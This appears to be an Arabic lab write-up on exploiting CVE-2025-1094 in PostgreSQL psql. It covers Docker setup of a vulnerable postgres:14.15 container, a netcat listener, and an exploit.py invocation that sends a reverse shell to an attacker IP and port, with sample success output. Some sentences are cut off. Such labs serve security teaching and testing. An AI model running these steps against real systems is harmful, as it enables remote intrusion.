
# مختبر عملي لاستغلال CVE-2025-1094، ثغرة حقن SQL في PostgreSQL psql تؤدي إلى تنفيذ أوامر عن بُعد عبر COPY TO PROGRAM، مع إعداد Docker وحمولة قشرة عكسية.
⚠️ إخلاء مسؤولية
هذا المختبر مخصص لأغراض تعليمية وبحثية فقط.
لا تستخدم أيًا من المعلومات أو التقنيات الموضحة هنا على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. الاستخدام غير المصرح به لهذه الأساليب قد ينتهك القوانين ويؤدي إلى عقوبات شديدة.
CVE-2025-1094 هو ثغرة أمنية حرجة تؤثر على أداة PostgreSQL التفاعلية psql، وقد تم اكتشافها في الإصدار 14.15 والإصدارات الأقدم.
تسمح للمهاجمين بتنفيذ حقن SQL مما قد يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في ظل ظروف معينة.
تنشأ الثغرة من المعالجة غير السليمة لمدخلات UTF-8 التالفة في psql.
بسبب عدم كفاية التحقق، يمكن للمهاجمين حقن استعلامات SQL عشوائية أو أوامر وصفية مثل ! (هروب الصدفة)، وحتى استغلال COPY ... TO PROGRAM لتنفيذ أوامر النظام.
COPY TO PROGRAM: يمكن للمهاجمين تنفيذ أوامر صدفة عشوائية مثل:
/etc/passwd)psql مع مدخلات غير موثوقة (مثل BeyondTrust PRA و Remote Support) معرضة بشكل خاص.تثبيت Docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 أعد التشغيل أو سجّل الخروج ثم سجّل الدخول مرة أخرى لتطبيق صلاحيات مجموعة Docker.
تثبيت Python والاعتماديات:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ تأكد من الاتصال الشبكي بين جهاز المهاجم والضحية.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
بعد بدء تشغيل الحاوية، تحقق من أن كل شيء يعمل باستخدام الأوامر التالية:
1. تحقق من أن حاوية PostgreSQL قيد التشغيل:
sudo docker ps
📌 يجب أن ترى حاوية باسم vulnerable_postgres تستمع على المنفذ 5432.
2. الوصول إلى الحاوية وفحص قاعدة البيانات:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
داخل قشرة psql، قم بتشغيل:
SELECT * FROM users;
المخرجات المتوقعة:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
الخروج من psql:
\q
✅ الآن مثيل PostgreSQL الضعيف لديك يعمل وجاهز للاستغلال.
3. إعادة تشغيل الحاوية
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM لتنفيذ أوامر صدفة عشوائية💡 نصيحة: يمكنك إنشاء لقطة من هذه الحاوية الضعيفة وإعادة استخدامها لاحقًا دون إعادة بناء البيئة.